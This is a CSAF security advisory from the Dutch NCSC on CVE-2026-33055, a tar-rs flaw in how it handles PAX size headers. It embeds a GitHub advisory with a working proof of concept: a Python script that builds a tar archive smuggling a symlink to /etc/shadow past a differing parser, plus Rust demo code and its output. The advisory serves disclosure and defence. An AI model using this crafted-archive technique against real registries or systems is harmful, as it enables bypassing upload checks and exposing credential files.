{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33055", "tracking": { "current_release_date": "2026-04-01T16:45:09.035414Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33055", "initial_release_date": "2026-03-20T18:27:12.309206Z", "revision_history": [ { "date": "2026-03-20T18:27:12.309206Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-20T18:27:17.022857Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-20T18:28:58.198894Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-20T18:29:01.030170Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-20T18:35:43.047390Z", "number": "5", "summary": "Unknown change." }, { "date": "2026-03-20T19:55:17.658961Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-20T19:55:19.710905Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-20T21:59:08.024518Z", "number": "8", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-21T12:45:15.009988Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products created (1).| Products connected (1)." }, { "date": "2026-03-21T12:45:47.560948Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-03-24T02:13:28.713537Z", "number": "11", "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-24T02:13:31.709468Z", "number": "12", "summary": "NCSC Score updated." }, { "date": "2026-03-25T12:19:59.940969Z", "number": "13", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| Products connected (4).| CWES updated (1)." }, { "date": "2026-03-25T12:20:03.036581Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-03-25T18:42:30.464566Z", "number": "15", "summary": "CVSS created.| References created (2)." }, { "date": "2026-03-26T18:44:40.672742Z", "number": "16", "summary": "Products created (1).| Products connected (1)." }, { "date": "2026-03-26T18:44:45.588105Z", "number": "17", "summary": "NCSC Score updated." }, { "date": "2026-03-28T07:40:59.236376Z", "number": "18", "summary": "Products connected (5)." }, { "date": "2026-03-28T07:41:01.428953Z", "number": "19", "summary": "NCSC Score updated." }, { "date": "2026-04-01T12:21:48.612900Z", "number": "20", "summary": "Product Remediations created (1)." }, { "date": "2026-04-01T12:21:54.638207Z", "number": "21", "summary": "NCSC Score updated." }, { "date": "2026-04-01T16:45:07.828704Z", "number": "22", "summary": "NCSC Score updated." } ], "status": "interim", "version": "22" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5890857", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:azl3_kata-containers-cc_3.15.0.aks0-7:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "azl3 kata-containers-cc 3.15.0.aks0-7 on Azure Linux 3.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5956317", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:azl3_rpm-ostree_2024.4-6:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "azl3 rpm-ostree 2024.4-6 on Azure Linux 3.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5775819", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:azl3_rust_1.75.0-25:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "azl3 rust 1.75.0-25 on Azure Linux 3.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5775820", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:azl3_rust_1.90.0-4:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "azl3 rust 1.90.0-4 on Azure Linux 3.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5956319", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:azl3_trident_0.21.0-1:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "azl3 trident 0.21.0-1 on Azure Linux 3.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5197867", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:cbl2_kata-containers_3.2.0.azl2-7:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "cbl2 kata-containers 3.2.0.azl2-7 on CBL Mariner 2.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5197866", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:cbl2_kata-containers-cc_3.2.0.azl2-8:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "cbl2 kata-containers-cc 3.2.0.azl2-8 on CBL Mariner 2.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5956318", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:cbl2_rpm-ostree_2022.1-8:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "cbl2 rpm-ostree 2022.1-8 on CBL Mariner 2.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5775817", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:cbl2_rust_1.72.0-14:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "cbl2 rust 1.72.0-14 on CBL Mariner 2.0" } ], "category": "product_family", "name": "Open Source Software" } ], "category": "vendor", "name": "Microsoft" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-5885322" } } ], "category": "product_name", "name": "rust-tar" }, { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-5918963" } } ], "category": "product_name", "name": "rustc" } ], "category": "product_family", "name": "bookworm" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-1402640" } } ], "category": "product_name", "name": "rust-tar" }, { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-1402573" } } ], "category": "product_name", "name": "rustc" } ], "category": "product_family", "name": "bullseye" } ], "category": "vendor", "name": "Debian" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.4.45", "product": { "name": "vers:unknown/<0.4.45", "product_id": "CSAFPID-5874527", "product_identification_helper": { "cpe": "cpe:2.3:a:alexcrichton:tar-rs:*:*:*:*:*:rust:*:*" } } } ], "category": "product_name", "name": "tar-rs" } ], "category": "vendor", "name": "alexcrichton" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33055", "cwe": { "id": "CWE-843", "name": "Access of Resource Using Incompatible Type ('Type Confusion')" }, "notes": [ { "category": "description", "text": "tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33055.json" }, { "category": "description", "text": "tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33055" }, { "category": "description", "text": "### Summary\n\nAs part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.\n\nHowever, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.\n\nThe problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.\n\nIn this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.\n\n\n### Details\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n### PoC\n\n(originally posted by https://github.com/xokdvium)\n\n\n> I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:\n\nIt seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n```python\n#!/usr/bin/env python3\nB = 512\n\n\ndef pad(d):\n r = len(d) % B\n return d + b\"\\0\" * (B - r) if r else d\n\n\ndef hdr(name, size, typ=b\"0\", link=b\"\"):\n h = bytearray(B)\n h[0 : len(name)] = name\n h[100:107] = b\"0000644\"\n h[108:115] = h[116:123] = b\"0001000\"\n h[124:135] = f\"{size:011o}\".encode()\n h[136:147] = b\"00000000000\"\n h[148:156] = b\" \"\n h[156:157] = typ\n if link:\n h[157 : 157 + len(link)] = link\n h[257:263] = b\"ustar\\x00\"\n h[263:265] = b\"00\"\n h[148:155] = f\"{sum(h):06o}\\x00\".encode()\n return bytes(h)\n\n\nINFLATED = 2048\npax_rec = b\"13 size=2048\\n\"\n\nar = bytearray()\nar += hdr(b\"./PaxHeaders/regular\", len(pax_rec), typ=b\"x\")\nar += pad(pax_rec)\n\ncontent = b\"regular\\n\"\nar += hdr(b\"regular.txt\", len(content))\nmark = len(ar)\nar += pad(content)\n\nar += hdr(b\"smuggled\", 0, typ=b\"2\", link=b\"/etc/shadow\")\nar += b\"\\0\" * B * 2\n\nused = len(ar) - mark\nif used < INFLATED:\n ar += b\"\\0\" * (((INFLATED - used + B - 1) // B) * B)\nar += b\"\\0\" * B * 2\n\nopen(\"smuggle.tar\", \"wb\").write(bytes(ar))\n```\n\n`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).\n\n```rust\nuse std::fs;\nuse std::path::PathBuf;\n\nfn sync_parse(data: &[u8]) {\n println!(\"tar:\");\n let mut ar = tar::Archive::new(data);\n for e in ar.entries().unwrap() {\n let e = e.unwrap();\n let path = e.path().unwrap().to_path_buf();\n let kind = e.header().entry_type();\n let link: Option = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n match link {\n Some(l) => println!(\" {:20} {:?} -> {}\", path.display(), kind, l.display()),\n None => println!(\" {:20} {:?}\", path.display(), kind),\n }\n }\n println!();\n}\n\nasync fn async_parse(data: Vec) {\n println!(\"astral-tokio-tar:\");\n let mut ar = tokio_tar::Archive::new(data.as_slice());\n let mut entries = ar.entries().unwrap();\n while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {\n let e = e.unwrap();\n let path = e.path().unwrap().to_path_buf();\n let kind = e.header().entry_type();\n let link: Option = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n match link {\n Some(l) => println!(\" {:20} {:?} -> {}\", path.display(), kind, l.display()),\n None => println!(\" {:20} {:?}\", path.display(), kind),\n }\n }\n println!();\n}\n\n#[tokio::main]\nasync fn main() {\n let path = std::env::args().nth(1).unwrap_or(\"smuggle.tar\".into());\n let data = fs::read(&path).unwrap();\n sync_parse(&data);\n async_parse(data).await;\n}\n```\n\n```\ntar:\n regular.txt Regular\n smuggled Symlink -> /etc/shadow\n\nastral-tokio-tar:\n regular.txt Regular\n```\n\n### Impact\n\nThis can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.", "title": "github - https://api.github.com/advisories/GHSA-gchp-q4r4-x4ff" }, { "category": "description", "text": "tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.", "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-33055" }, { "category": "description", "text": "tar-rs incorrectly ignores PAX size headers if header size is nonzero", "title": "microsoft - https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Mar" }, { "category": "other", "text": "0.0004", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N", "title": "CVSSV4" }, { "category": "other", "text": "5.1", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.9", "title": "NCSC Score" }, { "category": "other", "text": "VENDOR FIX as product remediation category", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5874527", "CSAFPID-1402640", "CSAFPID-5885322", "CSAFPID-5775817", "CSAFPID-5775819", "CSAFPID-5775820", "CSAFPID-5890857", "CSAFPID-1402573", "CSAFPID-5918963", "CSAFPID-5197866", "CSAFPID-5197867", "CSAFPID-5956317", "CSAFPID-5956318", "CSAFPID-5956319" ] }, "references": [ { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33055.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33055" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-gchp-q4r4-x4ff" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - debian", "url": "https://security-tracker.debian.org/tracker/CVE-2026-33055" }, { "category": "external", "summary": "Source - microsoft", "url": "https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Mar" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://www.cve.org/CVERecord?id=CVE-2025-62518" }, { "category": "external", "summary": "Reference - github", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33055" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-gchp-q4r4-x4ff" }, { "category": "external", "summary": "Reference - github", "url": "https://rustsec.org/advisories/RUSTSEC-2026-0068.html" } ], "remediations": [ { "category": "vendor_fix", "details": "CBL-Mariner Releases", "product_ids": [ "CSAFPID-5956319" ] } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-1402573", "CSAFPID-1402640", "CSAFPID-5197866", "CSAFPID-5197867", "CSAFPID-5775817", "CSAFPID-5775819", "CSAFPID-5775820", "CSAFPID-5874527", "CSAFPID-5885322", "CSAFPID-5890857", "CSAFPID-5918963", "CSAFPID-5956317", "CSAFPID-5956318", "CSAFPID-5956319" ] } ], "title": "CVE-2026-33055" } ] }